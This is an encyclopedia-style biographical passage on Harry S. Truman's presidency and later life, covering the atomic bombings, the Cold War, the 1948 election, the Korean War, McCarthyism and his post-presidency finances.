          On the morning of August 6, 1945, the B-29 bomber Enola Gay dropped an atomic bomb on Hiroshima. Two days later, having heard nothing from the Japanese government, the U.S. military proceeded with its plans to drop a second atomic bomb. On August 9, Nagasaki was also devastated. Truman received news of the bombing while aboard the heavy cruiser USS Augusta on his way back to the U.S. after the Potsdam Conference. The Japanese agreed to surrender on August 14.


          At the Potsdam Conference, Truman indicated cryptically to Joseph Stalin the U.S. was about to use a new kind of weapon against the Japanese. Though this was the first time the Soviets had been officially given information about the atomic bomb, Stalin (through his spies in the U.S.) was already well aware of the bomb project, in fact learning about it long before Truman himself did.


          In the years since the bombings, however, questions about Truman's choice have become more pointed. Supporters of Truman's decision to use the bomb argue that it saved hundreds of thousands of lives that would have been lost in an invasion of mainland Japan. Eleanor Roosevelt spoke in support of this view in 1954, saying that Truman had "made the only decision he could," and that the bomb's use was necessary "to avoid tremendous sacrifice of American lives." Others, including historian Gar Alperovitz, have argued that the use of nuclear weapons was unnecessary and inherently immoral.


          


          Strikes and economic upheaval
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          The end of World War II was followed in the United States by uneasy and contentious conversion back to a peacetime economy. The president was faced with a sudden renewal of labor-management conflicts that had lain dormant during the war years, severe shortages in housing and consumer products, and widespread dissatisfaction with inflation, which at one point hit six percent in a single month. In this polarized environment, there was a wave of destabilizing strikes in major industries, and Truman's response to them was generally seen as ineffective. In the spring of 1946, a national railway strike, unprecedented in the nation's history, brought virtually all passenger and freight lines to a standstill for over a month. When the railway workers turned down a proposed settlement, Truman announced that he would seize control of the railways and even threatened to draft striking workers into the armed forces. While delivering a speech before Congress requesting authority for this plan, Truman received word that the strike had been settled on his terms. He announced this development to Congress on the spot and received a tumultuous ovation that was replayed for weeks on newsreels. Although the resolution of the crippling railway strike made for stirring political theatre, it actually cost Truman politically: his proposed solution was seen by many as high-handed; and labor voters, already wary of Truman's handling of workers' issues, were deeply alienated.


          


          United Nations, Marshall Plan, and the Cold War


          As a Wilsonian internationalist, Truman strongly supported the creation of the United Nations, and included former First Lady Eleanor Roosevelt on the delegation to the U.N.'s first General Assembly in order to meet the public desire for peace after the carnage of World War II. Faced with communist abandonment of commitments to democracy made at the Potsdam Conference, and with communist advances in Greece (leading to the Greek Civil War) and in Turkey that suggested a hunger for global domination, Truman and his foreign policy advisors concluded that the interests of the Soviet Union were quickly becoming incompatible with those of the United States. The Truman administration articulated an increasingly hard line against the Soviets.


          Although he claimed no personal expertise on foreign matters, and although the opposition Republicans controlled Congress, Truman was able to win bipartisan support for both the Truman Doctrine, which formalized a policy of containment, and the Marshall Plan, which aimed to help rebuild postwar Europe. To get Congress to spend the vast sums necessary to restart the moribund European economy, Truman used an ideological argument, arguing forcefully that communism flourishes in economically deprived areas. His goal was to "scare the hell out of Congress." As part of the U.S. Cold War strategy, Truman signed the National Security Act of 1947 and reorganized military forces by merging the Department of War and the Department of the Navy into the National Military Establishment (later the Department of Defense) and creating the U.S. Air Force. The act also created the CIA and the National Security Council.


          


          Fair Deal


          After many years of Democratic majorities in Congress and two Democratic presidents, voter fatigue with the Democrats delivered a new Republican majority in the 1946 midterm elections, with the Republicans picking up 55 seats in the House of Representatives and several seats in the Senate. Although Truman cooperated closely with the Republican leaders on foreign policy, he fought them bitterly on domestic issues. He failed to prevent tax cuts or the removal of price controls. The power of the labor unions was significantly curtailed by the Taft-Hartley Act, which was enacted by overriding Truman's veto.


          As he readied for the approaching 1948 election, Truman made clear his identity as a Democrat in the New Deal tradition, advocating national health insurance, the repeal of the anti-union Taft-Hartley Act, and an aggressive civil rights program. Taken together, it all constituted a broad legislative agenda that came to be called the " Fair Deal".


          Truman's proposals made for potent campaign rhetoric, but were not well received by Congress, even after Democratic gains in the 1948 election. Only one of the major Fair Deal bills, the Housing Act of 1949, was ever enacted.


          


          Recognition of Israel


          Truman was a key figure in the establishment of the Jewish state in the Palestine Mandate. In shaping his policy toward Palestine, Truman experienced continuous pressures, especially from the Jewish community, virtually from the moment he took office as president. Truman writes, "Top Jewish leaders in the United States were putting all sorts of pressure on me to commit American power and forces on behalf of the Jewish aspirations in Palestine." In 1946, an Anglo-American Committee of Inquiry recommended the gradual establishment of two states in Palestine, with neither Jews nor Arabs dominating. However, there was little Zionist support for the two-state proposal. Britain's empire was in rapid decline, and under pressure to withdraw from Palestine quickly because of attacks on British forces by armed Zionist groups.


          At the urging of the British, a special U.N. committee, UNSCOP, recommended the immediate partitioning of Palestine into two states, and with Truman's support, this initiative was approved by the General Assembly on November 29, 1947. According to Truman, "The facts were that not only were there pressure movements around the United Nations unlike anything that had been seen there before, but that the White House, too, was subjected to a constant barrage. I do not think I ever had as much pressure and propaganda aimed at the White House as I had in this instance. The persistence of a few of the extreme Zionist leaders - actuated by a political motive and engaging in political threats - disturbed and annoyed me." The president noted in a letter to Eleanor Roosevelt, "I regret this situation very much because my sympathy has always been on their [Zionist] side."


          The British announced on November 30, 1947 that they would leave Palestine by May 15, 1948. A civil war broke out in Palestine and the Arab League Council nations began moving troops to Palestine's borders. The Zionist idea of a Jewish state in the Middle East was popular in the U.S., particularly among urban Jewish voters, one of Truman's key constituencies. Truman additionally viewed a viable Jewish state as the best way to resettle the some 250,000 Jewish Holocaust refugees living in displaced person camps.


          The State Department, however, disagreed with the decision. Secretary of State George Marshall and most of the foreign service experts strongly opposed the creation of a Jewish state in Palestine. Thus, when Truman agreed to meet with Chaim Weizmann, at the request of Edward Jacobson he found himself overruling his own Secretary of State. In the end, Marshall did not publicly dispute the president's decision, as Truman feared he might. Secretary of Defense James Forrestal, was perhaps most vocal on the issue of Palestine and spoke repeatedly about the perils of arousing Arab hostility, which might result in denial of access to petroleum resources in the area and about "the impact of this question on the security of the United States." Truman recognized the State of Israel on May 14, 1948, eleven minutes after it declared itself a nation.


          Lenczowski ( ) writes:


          
            Whatever misgivings Truman might have had about the Zionist program, he eventually not only embraced it but added impetus to it by ordering the US delegation at the United Nations to vote for partition. It is not easy to give an evaluation of his motives in choosing this option. Initially, he was merely interested in relieving human misery by urging admission of displaced Jews to British-ruled Palestine. In that early stage, he appeared to be quite firm in rejecting "a political structure imposed on the Middle East that would result in conflict." He was also aware, as we have seen, of the gains likely to accrue to the Soviets if Arabs were to be antagonized. Yet he ultimately chose a policy that did lead to conflict and opened the gates to Soviet penetration in the Arab world, as the examples of Nasser's, Egypt, Syria, Iraq, and other states showed. Was this policy based on his genuine conversion to the idea that the thus generated conflict in the Middle East was of secondary importance and that the Soviet factor could be safely disregarded? This alternative does not quite square with his determination to stop Soviet advances in the northern tier of Iran, Turkey, and Greece. Furthermore, as his arms embargo indicated, he did not identify US interest with Israel's victory and never went on record claiming that Israel was Americas ally or strategic asset. This leaves us with the other possible alternative - that despite his resentment of the political pressures at home he chose to give them priority over other considerations. Certain observers who stood close to the decision-making process of that era were convinced that domestic politics constituted a major motivation in Truman's behaviour. In the often quoted statement addressed to four American envoys from the middle east who, at a meeting in the White House on November 10, 1945, warned him of adverse effects of a pro-Zionist policy, he declared: "I am sorry, gentlemen, but I have to answer to hundreds of thousands who are anxious for the success of Zionism: I do not have hundreds of thousands of Arabs among my constituents."

          


          


          Berlin Airlift


          On June 24, 1948, the Soviet Union blocked access to the three Western-held sectors of Berlin. The Allies had never negotiated a deal to guarantee supply of the sectors deep within the Soviet-occupied zone. The commander of the American occupation zone in Germany, General Lucius D. Clay, proposed sending a large armored column driving peacefully, as a moral right, down the autobahn across the Soviet zone to West Berlin, with instructions to defend itself if it were stopped or attacked. Truman, however, following the consensus in Washington, believed this would entail an unacceptable risk of war. He approved a plan to supply the blockaded city by air. On June 25, the Allies initiated the Berlin Airlift, a campaign that delivered food and other supplies, such as coal, using military airplanes on a massive scale. Nothing remotely like it had ever been attempted before. The airlift worked; ground access was again granted on May 11, 1949. The airlift continued for several months after that. The Berlin Airlift was one of Truman's great foreign policy successes as president; it significantly aided his election campaign in 1948.


          


          Defense cutbacks


          Truman, Congress, and the Pentagon followed a strategy of rapid demobilization after World War II, mothballing ships and sending the veterans home. The reasons for this strategy, which persisted through Truman's first term and well into his second, were largely financial. In order to fund domestic spending requirements, Truman had advocated a policy of defense program cuts for the U.S. armed forces at the end of the war. The Republican majority in Congress, anxious to enact numerous tax cuts, approved of Truman's plan to "hold the line" on defense spending. In addition, Truman's experience in the Senate left him with lingering suspicions that large sums were being wasted in the Pentagon. In 1949, Truman appointed Louis A. Johnson as Secretary of Defense. Impressed by U.S. advances in atomic bomb development, Truman and Johnson initially believed that the atomic bomb rendered conventional forces largely irrelevant to the modern battlefield. This assumption eventually had to be revisited, however, as the Soviet Union exploded its first atomic weapon in the same year.


          Nevertheless, reductions continued, adversely affecting U.S. conventional defense readiness. Both Truman and Johnson had a particular antipathy to Navy and Marine Corps budget requests. Truman had a well-known dislike of the Marines dating back to his service in World War I, and famously said, "The Marine Corps is the Navy's police force, and as long as I am President that is what it will remain. They have a propaganda machine that is almost equal to Stalin's." Indeed, Truman had proposed disbanding the Marine Corps entirely as part of the 1948 defense reorganization plan, a plan that was abandoned only after a letter-writing campaign and the intervention of influential congressmen who were Marine veterans.


          Under Truman defense budgets through Fiscal Year 1950, many Navy ships were mothballed, sold to other countries, or scrapped. The U.S. Army, faced with high turnover of experienced personnel, cut back on training exercises, and eased recruitment standards. Usable equipment was scrapped or sold off instead of stored, and even ammunition stockpiles were cut. The Marine Corps, its budgets slashed, was reduced to hoarding surplus inventories of World War II-era weapons and equipment. It was only after the invasion of South Korea by the North Koreans in 1950 that Truman sent significantly larger defense requests to Congressand initiated what might be considered the modern period of defense spending in the United States.


          


          Civil rights


          A 1947 report by the Truman administration titled To Secure These Rights presented a detailed ten-point agenda of civil rights reforms. In February 1948, the president submitted a civil rights agenda to Congress that proposed creating several federal offices devoted to issues such as voting rights and fair employment practices. This provoked a storm of criticism from Southern Democrats in the run up to the national nominating convention, but Truman refused to compromise, saying: "My forebears were Confederates.... But my very stomach turned over when I had learned that Negro soldiers, just back from overseas, were being dumped out of Army trucks in Mississippi and beaten." In retirement however, Truman was less progressive on the issue. He described the 1965 Selma to Montgomery marches as silly, stating that the marches would not "accomplish a darned thing".


          


          Election of 1948


          


          The 1948 presidential election is best remembered for Truman's stunning come-from-behind victory. In the spring of 1948, Truman's public approval rating stood at 36 percent, and the president was nearly universally regarded as incapable of winning the general election. The "New Deal" operatives within the partyincluding FDR's son Jamestried to swing the Democratic nomination to General Dwight D. Eisenhower, a wildly popular figure whose political viewsand party affiliationwere totally unknown. Eisenhower emphatically refused to accept, and Truman outflanked opponents to his nomination.


          At the 1948 Democratic National Convention, Truman attempted to calm turbulent domestic political waters by placing a tepid civil rights plank in the party platform; the aim was to assuage the internal conflicts between the northern and southern wings of his party. Events overtook the president's efforts at compromise, however. A sharp address given by Mayor Hubert Humphrey of Minneapolisas well as the local political interests of a number of urban bossesconvinced the Convention to adopt a stronger civil rights plank, which Truman approved wholeheartedly. All of Alabama's delegates, and a portion of Mississippi's, walked out of the convention in protest. Unfazed, Truman delivered an aggressive acceptance speech attacking the 80th Congress and promising to win the election and "make these Republicans like it."


          Within two weeks, Truman issued Executive Order 9981, racially integrating the U.S. Armed Services. Truman took considerable political risk in backing civil rights, and many seasoned Democrats were concerned that the loss of Dixiecrat support might destroy the Democratic Party. The fear seemed well justified Strom Thurmond declared his candidacy for the presidency and led a full-scale revolt of Southern " states' rights" proponents. This revolt on the right was matched by a revolt on the left, led by former Vice President Henry A. Wallace on the Progressive Party ticket. Immediately after its first post-FDR convention, the Democratic Party found itself disintegrating. Victory in November seemed a remote possibility indeed, with the party not simply split but divided three ways.


          There followed a remarkable 21,928-mile (35,290km) presidential odyssey, an unprecedented personal appeal to the nation. Truman and his staff crisscrossed the United States in the presidential train; his " whistlestop" tactic of giving brief speeches from the rear platform of the observation car Ferdinand Magellan came to represent the entire campaign. His combative appearances, such as those at the town square of Harrisburg, Illinois, captured the popular imagination and drew huge crowds. Six stops in Michigan drew a combined total of half a million people; a full million turned out for a New York City ticker-tape parade.


          The large, mostly spontaneous gatherings at Truman's depot events were an important sign of a critical change in momentum in the campaignbut this shift went virtually unnoticed by the national press corps, which continued reporting Republican Thomas Dewey's apparent impending victory as a certainty. One reason for the press' inaccurate projection was polls conducted primarily by telephone in a time when many people, including much of Truman's populist base, did not own a telephone. This skewed the data to indicate a stronger support base for Dewey than existed, resulting in an unintended and undetected projection error that may well have contributed to the perception of Truman's bleak chances. The three major polling organizations also stopped polling well before the November 2 election dateRoper in September, and Crossley and Gallup in Octoberthus failing to measure the very period when Truman appears to have surged past Dewey.


          In the end, Truman held his midwestern base of progressives, won most of the Southern states despite his civil rights plank, and squeaked through with narrow victories in a few critical "battleground" states, notably Ohio, California, and Illinois. The final tally showed that the president had secured 303 electoral votes, Dewey 189, and Thurmond only 39. Henry Wallace got none. The defining image of the campaign came after Election Day, when Truman held aloft the erroneous front page of the Chicago Tribune with a huge headline proclaiming " Dewey Defeats Truman."


          Truman's no-holds-barred style of campaigning in the face of seemingly impossible odds became a campaign tactic that would be repeated by, and appealed to by, many presidential candidates in years to come, notably George H. W. Bush in 1992, another trailing incumbent who fought constantly with Congress.


          Truman did not have a vice president in his first term. His running mate, and eventual vice president for the term that began January 20, 1949, was Alben W. Barkley.


          


          Second term (19491953)


          Truman's second term was grueling, in large measure because of foreign policy challenges connected directly or indirectly to his policy of containment. For instance, he quickly had to come to terms with the end of the American nuclear monopoly. With information provided by its espionage networks in the United States, the Soviet Union's atomic bomb project progressed much faster than had been expected and they exploded their first bomb on August 29, 1949. On January 7, 1953, Truman announced the detonation of the first U.S. hydrogen bomb.


          


          NATO


          Truman was a strong supporter of the North Atlantic Treaty Organization (NATO), which established a formal peacetime military alliance with Canada and many of the democratic European nations that had not fallen under Soviet control following World War II. The importance of this treaty, which Truman successfully guided through the Senate in 1949, is hard to overstate. It checked Soviet expansion in Europe, and sent a clear message to communist leaders that the world's democracies were willing and able to build new security structures in support of democratic ideals. The United States, United Kingdom, France, Italy, the Netherlands, Belgium, Luxembourg, Norway, Denmark, Portugal, Iceland, and Canada were the original treaty signatories; Greece and Turkey joined in 1952.


          


          People's Republic of China


          On December 21, 1949, Chiang Kai-shek (Jiang Jieshi) and his National Revolutionary Army left mainland China, fleeing to Taiwan in the face of successful attacks by Mao Zedong's communist army during the Chinese Civil War. In June 1950, Truman ordered the U.S. Navy's Seventh Fleet into the Taiwan Strait to prevent further conflict between the communist government at the China mainland and the Republic of China at Taiwan. Truman also called for Taiwan not to make any further attack on the mainland.


          


          Soviet espionage and McCarthyism


          Throughout his presidency, Truman had to deal with accusations that the federal government was harboring Soviet spies at the highest level. Testimony in Congress on this issue garnered national attention, and thousands of people were fired as security risks. An optimistic, patriotic man, Truman was dubious about reports of potential Communist or Soviet penetration of the U.S. government, and his oft-quoted response was to dismiss the allegations as a "red herring."


          In August 1948, Whittaker Chambers, a former spy for the Soviets and a senior editor at Time magazine, testified before the House Un-American Activities Committee (HUAC) and presented a list of what he said were members of an underground communist network working within the United States government in the 1930s. One was Alger Hiss, a senior State Department official. Hiss denied the accusations.


          Chambers' revelations led to a crisis in American political culture, as Hiss was convicted of perjury. On February 9, 1950, Republican Senator Joseph McCarthy accused the State Department of having communists on the payroll, and specifically claimed that Secretary of State Dean Acheson knew of, and was protecting, 205 communists within the State Department. At issue was whether Truman had discovered all the subversive agents that had entered the government during the Roosevelt years. Many on the right, such as McCarthy and Congressman Richard Nixon, insisted that he had not.


          By spotlighting this issue and attacking Truman's administration, McCarthy quickly established himself as a national figure, and his explosive allegations dominated the headlines. His claims were short on confirmable details, but they nevertheless transfixed a nation struggling to come to grips with frightening new realities: the Soviet Union's nuclear explosion, the loss of U.S. atom bomb secrets, the fall of China to communism, and new revelations of Soviet intelligence penetration of other U.S. agencies, including the Treasury Department. Truman, a pragmatic man who had made allowances for the likes of Tom Pendergast and Stalin, quickly developed an unshakable loathing of Joseph McCarthy. He counterattacked, saying that "Americanism" itself was under attack by elements "who are loudly proclaiming that they are its chief defenders. ... They are trying to create fear and suspicion among us by the use of slander, unproved accusations and just plain lies. ... They are trying to get us to believe that our Government is riddled with communism and corruption. ... These slandermongers are trying to get us so hysterical that no one will stand up to them for fear of being called a communist. Now this is an old communist trick in reverse. ... That is not fair play. That is not Americanism." Nevertheless Truman was never able to shake his image among the public of being unable to purge his government of subversive influences.


          


          Pakistan


          President Truman recognised the newly created state of Pakistan in 1947 and the United States was one of the first countries in the world to do so. President Truman personally invited Pakistan's first Prime Minister Liaquat Ali Khan and his wife Begum Ra'ana to the United States for talks. Liaquat Ali Khan accepted the invitation and arrived in Washington in May 1950. Liaquat toured the United States and gave various speeches to the US Senate. At the time of the visit Pakistan was non-aligned between the US-led Western Bloc and the Soviet-led Eastern Bloc and it had recognised the Communist-led People's Republic of China, ignoring Washington's opposition to Peking. Despite the success of his US tour, Liaquat Ali's Government did not make any drastic change in its foreign policy of semi-non-alignment in the Cold War rivalry. In the UN Security Council, it did oppose North Korea's aggression against pro-American South Korea but refused to send Pakistani combat troops to join the UN force in the Korean Peninsula. This was mainly because Pakistan was recently recovering from its war with India over the disputed Kashmir in 1948.


          


          Korean War
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          On June 25, 1950, the North Korean People's Army under the command of Kim Il-sung invaded South Korea, precipitating the outbreak of the Korean War. Poorly trained and equipped, without tanks or air support, the South Korean Army was rapidly pushed backwards, quickly losing the capital, Seoul.


          Stunned, Truman called for a naval blockade of Korea, which went into effect; while the U.S. Navy no longer possessed sufficient surface ships with which to enforce such a measure, no ships tried to challenge it. Truman promptly urged the United Nations to intervene; it did, authorizing armed defense for the first time in its history. The Soviet Union, which was boycotting the United Nations at the time, was not present at the vote that approved the measure. However, Truman decided not to consult with Congress, an error that greatly weakened his position later in the conflict.


          In the first four weeks of the conflict, the American infantry forces hastily deployed to Korea proved too few and were under-equipped. The Eighth Army in Japan was forced to recondition World War II Sherman tanks from depots and monuments for use in Korea.


          
            
              	"I fired him [MacArthur] because he wouldn't respect the authority of the President... I didn't fire him because he was a dumb son of a bitch, although he was, but that's not against the law for generals. If it was, half to three-quarters of them would be in jail."

              Harry S. Truman, quoted in Time magazine
            

          


          Responding to criticism over readiness, Truman fired his Secretary of Defense, Louis A. Johnson, replacing him with retired General George Marshall. Truman (with UN approval) decided on a roll-back policythat is, conquest of North Korea. UN forces led by General Douglas MacArthur led the counterattack, scoring a stunning surprise victory with an amphibious landing at the Battle of Inchon that nearly trapped the invaders. UN forces then marched north, toward the Yalu River boundary with China, with the goal of reuniting Korea under UN auspices.


          China surprised the UN forces with a large-scale invasion in November. The UN forces were forced back to below the 38th parallel, then recovered; by early 1951 the war became a fierce stalemate at about the 38th parallel where it had begun. UN and U.S. casualties were heavy. Truman rejected MacArthur's request to attack Chinese supply bases north of the Yalu, but MacArthur nevertheless promoted his plan to Republican House leader Joseph Martin, who leaked it to the press. Truman was gravely concerned that further escalation of the war might draw the Soviet Union further into the conflict: it was already supplying weapons and providing warplanes (with Korean markings and Soviet fliers). On April 11, 1951, Truman fired MacArthur from all his commands in Korea and Japan.


          Relieving MacArthur of his command was among the least politically popular decisions in presidential history. Truman's approval ratings plummeted, and he faced calls for his impeachment from, among others, Senator Robert Taft. The Chicago Tribune called for immediate impeachment proceedings against Truman:


          
            President Truman must be impeached and convicted. His hasty and vindictive removal of Gen. MacArthur is the culmination of series of acts which have shown that he is unfit, morally and mentally, for his high office.... The American nation has never been in greater danger. It is led by a fool who is surrounded by knaves....

          


          Fierce criticism from virtually all quarters accused Truman of refusing to shoulder the blame for a war gone sour and blaming his generals instead. MacArthur returned to the United States to a hero's welcome, and, after an address before Congress, was even rumored as a candidate for the presidency.


          The war remained a frustrating stalemate for two years, with over 30,000 Americans killed, until a peace agreement restored borders and ended the conflict. In the interim, the difficulties in Korea and the popular outcry against Truman's sacking of MacArthur helped to make the president so unpopular that Democrats started turning to other candidates. In the New Hampshire primary on March 11, 1952, Truman lost to Estes Kefauver, who won the preference poll 19,800 to 15,927 and all eight delegates. Truman was forced to cancel his reelection campaign. In February 1952, Truman's approval mark stood at 22 percent according to Gallup polls, the all-time lowest approval mark for an active American president.


          


          Indochina


          United States' involvement in Indochina widened during the Truman administration. On V-J Day 1945, Vietnamese Communist leader Ho Chi Minh declared independence from France, but the U.S. announced its support of restoring French power. In 1950, Ho again declared Vietnamese independence, which was recognized by Communist China and the Soviet Union. He controlled some remote territory along the Chinese border, while France controlled the remainder. Truman's "containment policy" called for opposition to Communist expansion, and led the U.S. to continue to recognize French rule, support the French client government, and increase aid to Vietnam. However, a basic dispute emerged: the Americans wanted a strong and independent Vietnam, while the French cared little about containing China but instead wanted to suppress local nationalism and integrate Indochina into the French Union.


          


          White House renovations
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          In 1948 Truman ordered a controversial addition to the exterior of the White House: a second-floor balcony in the south portico that came to be known as the "Truman Balcony." The addition was unpopular.


          Not long afterwards, engineering experts concluded that the building, much of it over 130 years old, was in a dangerously dilapidated condition. That August, a section of floor collapsed and Truman's own bedroom and bathroom were closed as unsafe. No public announcement about the serious structural problems of the White House was made until after the 1948 election had been won, by which time Truman had been informed that his new balcony was the only part of the building that was sound. The Truman family moved into nearby Blair House; as the newer West Wing, including the Oval Office, remained open, Truman found himself walking to work across the street each morning and afternoon. In due course the decision was made to demolish and rebuild the whole interior of the main White House, as well as excavating new basement levels and underpinning the foundations. The famous exterior of the structure, however, was buttressed and retained while the renovations proceeded inside. The work lasted from December 1949 until March 1952.


          


          Assassination attempt


          On November 1, 1950, Puerto Rican nationalists Griselio Torresola and Oscar Collazo attempted to assassinate Truman at Blair House. On the street outside the residence, Torresola mortally wounded a White House policeman, Leslie Coffelt, who shot Torresola dead before expiring himself. Collazo, as a co-conspirator in a felony that turned into a homicide, was found guilty of murder and was sentenced to death in 1952. Truman later commuted his sentence to life in prison.


          Acknowledging the importance of the question of Puerto Rican independence, Truman allowed for a plebiscite in Puerto Rico to determine the status of its relationship to the United States.


          The attack, which could easily have taken the president's life, drew new attention to security concerns surrounding his residence at Blair House. He had jumped up from his nap, and was watching the gunfight from his open bedroom window until a passerby shouted at him to take cover.


          


          Steel industry seizure attempt


          In response to a labor/management impasse arising from bitter disagreements over wage and price controls, Truman instructed his Secretary of Commerce, Charles W. Sawyer, to take control of a number of the nation's steel mills in April of 1952. Truman cited his authority as Commander in Chief and the need to maintain an uninterrupted supply of steel for munitions to be used in the war in Korea. The Supreme Court found Truman's actions unconstitutional, however, and reversed the order in a major separation-of-powers decision, Youngstown Sheet & Tube Co. v. Sawyer. The 63 decision, which held that Truman's assertion of authority was too vague and was not rooted in any legislative action by Congress, was delivered by a Court composed entirely of Justices appointed by either Truman or Roosevelt. The high court's reversal of Truman's order was one of the notable defeats of his presidency.


          


          Scandals and controversies


          In 1950, the Senate, led by Estes Kefauver, investigated numerous charges of corruption among senior Administration officials, some of whom received fur coats and deep freezers for favors. The Internal Revenue Service (IRS) was involved. In 1950, 166 IRS employees either resigned or were fired, and many were facing indictments from the Department of Justice on a variety of tax-fixing and bribery charges, including the assistant attorney general in charge of the Tax Division. When Attorney General Howard McGrath fired the special prosecutor for being too zealous, Truman fired McGrath. Historians agree that Truman himself was innocent and unawarewith one exception. In 1945, Mrs. Truman received a new, expensive, hard-to-get deep freezer. The businessman who provided the gift was the president of a perfume company and, thanks to Truman's aide and confidante General Harry Vaughan, received priority to fly to Europe days after the war ended, where he bought new perfumes. On the way back he "bumped" a wounded veteran from a flight that would have taken him back to the US. Disclosure of the episode in 1949 humiliated Truman. The President responded by vigorously defending Vaughan, an old friend with an office in the White House itself. Vaughan was eventually connected to multiple influence-peddling scandals.


          Charges that Soviet agents had infiltrated the government bedeviled the Truman Administration and became a major campaign issue for Eisenhower in 1952. In 1947, Truman set up loyalty boards to investigate espionage among federal employees. Between 1947 and 1952, "about 20,000 government employees were investigated, some 2500 resigned 'voluntarily,' and 400 were fired." He did, however, strongly oppose mandatory loyalty oaths for governmental employees, a stance that led to charges that his Administration was soft on Communism.


          In 1953, Senator Joseph McCarthy and Attorney General Herbert Brownell, Jr. claimed that Truman had known Harry Dexter White was a Soviet spy when Truman appointed him to the International Monetary Fund. .


          


          Administration and Cabinet


          All of the cabinet members when Truman became president in 1945 had been previously serving under Franklin D. Roosevelt.


          
            
              	The Truman Cabinet
            


            
              	Office

              	Name

              	Term
            


            
              	
            


            
              	President

              	Harry S. Truman

              	19451953
            


            
              	Vice President

              	none

              	19451949
            


            
              	Alben W. Barkley

              	19491953
            


            
              	
            


            
              	Secretary of State

              	Edward R. Stettinius, Jr.

              	19451945
            


            
              	James F. Byrnes

              	19451947
            


            
              	George C. Marshall

              	19471949
            


            
              	Dean G. Acheson

              	19491953
            


            
              	
            


            
              	Secretary of Treasury

              	Henry Morgenthau, Jr.

              	19451945
            


            
              	Fred M. Vinson

              	19451946
            


            
              	John W. Snyder

              	19461953
            


            
              	
            


            
              	Secretary of War

              	Henry L. Stimson

              	19451945
            


            
              	Robert P. Patterson

              	19451947
            


            
              	Kenneth C. Royall

              	19471947
            


            
              	
            


            
              	Secretary of Defense

              	James V. Forrestal

              	19471949
            


            
              	Louis A. Johnson

              	19491950
            


            
              	George C. Marshall

              	19501951
            


            
              	Robert A. Lovett

              	19511953
            


            
              	
            


            
              	Attorney General

              	Francis Biddle

              	1945
            


            
              	Tom C. Clark

              	19451949
            


            
              	J. Howard McGrath

              	19491952
            


            
              	James P. McGranery

              	19521953
            


            
              	
            


            
              	Postmaster General

              	Frank C. Walker

              	1945
            


            
              	Robert E. Hannegan

              	19451947
            


            
              	Jesse M. Donaldson

              	19471953
            


            
              	
            


            
              	Secretary of the Navy

              	James V. Forrestal

              	19451947
            


            
              	
            


            
              	Secretary of the Interior

              	Harold L. Ickes

              	19451946
            


            
              	Julius A. Krug

              	19461949
            


            
              	Oscar L. Chapman

              	19491953
            


            
              	
            


            
              	Secretary of Agriculture

              	Claude R. Wickard

              	1945
            


            
              	Clinton P. Anderson

              	19451948
            


            
              	Charles F. Brannan

              	19481953
            


            
              	
            


            
              	Secretary of Commerce

              	Henry A. Wallace

              	19451946
            


            
              	W. Averell Harriman

              	19461948
            


            
              	Charles W. Sawyer

              	19481953
            


            
              	
            


            
              	Secretary of Labor

              	Frances Perkins

              	1945
            


            
              	Lewis B. Schwellenbach

              	19451948
            


            
              	Maurice J. Tobin

              	19481953
            

          


          


          Supreme Court appointments


          Truman appointed the following Justices to the Supreme Court of the United States:


          
            	Harold Hitz Burton1945


            	Fred M. Vinson ( Chief Justice)1946


            	Tom C. Clark1949


            	Sherman Minton1949

          


          [bookmark: 1952_election]


          1952 election


          In 1951, the U.S. ratified the 22nd Amendment, making a president ineligible to be elected for a third time, or to be elected for a second time after having served more than two years of the previous president's term. The latter clause would have applied to Truman in 1952, except that a grandfather clause in the amendment explicitly excluded the current president from this provision.


          At the time of the 1952 New Hampshire primary, no candidate had won Truman's backing. His first choice, Chief Justice Fred M. Vinson, had declined to run; Illinois Governor Adlai Stevenson had also turned Truman down; Vice President Barkley was considered too old; and Truman distrusted and disliked Senator Estes Kefauver, whom he privately called "Cowfever."


          Truman's name was on the New Hampshire primary ballot but Kefauver won. On March 29 Truman announced his decision not to run for re-election. Stevenson, having reconsidered his presidential ambitions, received Truman's backing and won the Democratic nomination. Dwight D. Eisenhower, now a Republican and the nominee of his party, campaigned against what he denounced as Truman's failures regarding "Korea, Communism and Corruption" and the "mess in Washington," and promised to "go to Korea." Eisenhower defeated Stevenson decisively in the general election, ending 20 years of Democratic rule.


          


          Post-presidency


          


          Truman Library, Memoirs, and life as a private citizen


          Truman returned to Independence, Missouri to live at the Wallace home he and Bess had shared for years with her mother. His predecessor, Franklin D. Roosevelt, had organized his own presidential library, but legislation to enable future presidents to do something similar still remained to be enacted. Truman worked to garner private donations to build a presidential library, which he then donated to the federal government to maintain and operatea practice adopted by all of his successors.


          Once out of office, Truman quickly decided that he did not wish to be on any corporate payroll, believing that taking advantage of such financial opportunities would diminish the integrity of the nation's highest office. He also turned down numerous offers for commercial endorsements. Since his earlier business ventures had proved unremunerative, he had no personal savings. As a result, he faced financial challenges. Once Truman left the White House, his only income was his old army pension: $112.56 per month. Former members of Congress and the federal courts received a federal retirement package; President Truman himself had ensured that former servants of the executive branch of government would receive similar support. In 1953, however, there was no such benefit package for former presidents.
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          He took out a personal loan from a Missouri bank shortly after leaving office, and then set about establishing another precedent for future former chief executives: a book deal for his memoirs of his time in office. Ulysses S. Grant had overcome similar financial issues with his own memoirs, but the book had been published posthumously, and he had declined to write about life in the White House in any detail. For the memoirs Truman received only a flat payment of $670,000, and had to pay two-thirds of that in tax; he calculated he got $37,000 after he paid his assistants.


          Truman's memoirs were a commercial and critical success; they were published in two volumes in 1955 and 1956 by Doubleday (Garden City, N.Y) and Hodder & Stoughton (London): Memoirs by Harry S. Truman: Year of Decisions and Memoirs by Harry S. Truman: Years of Trial and Hope.


          Truman was quoted in 1957 as saying to then-House Majority Leader John McCormack, "Had it not been for the fact that I was able to sell some property that my brother, sister, and I inherited from our mother, I would practically be on relief, but with the sale of that property I am not financially embarrassed."


          In 1958, Congress passed the Former Presidents Act, offering a $25,000 yearly pension to each former president, and it is likely that Truman's financial status played a role in the law's enactment. The one other living former president at the time, Herbert Hoover, also took the pension, even though he did not need the money; reportedly, he did so to avoid embarrassing Truman. Hoover may have been remembering an old favour: Shortly after becoming President, Truman had invited Hoover to the White House for an informal chat about conditions in Europe. This was Hoover's first visit to the White House since leaving office, as the Roosevelt administration had shunned Hoover.


          


          Later life and death


          In 1956, Truman took a trip to Europe with his wife, and was a sensation. In Britain he received an honorary degree in Civic Law from Oxford University, an event that moved him to tears. He met with his friend Winston Churchill for the last time, and on returning to the U.S., he gave his full support to Adlai Stevenson's second bid for the White House, although he had initially favored Democratic Governor W. Averell Harriman of New York for the nomination.


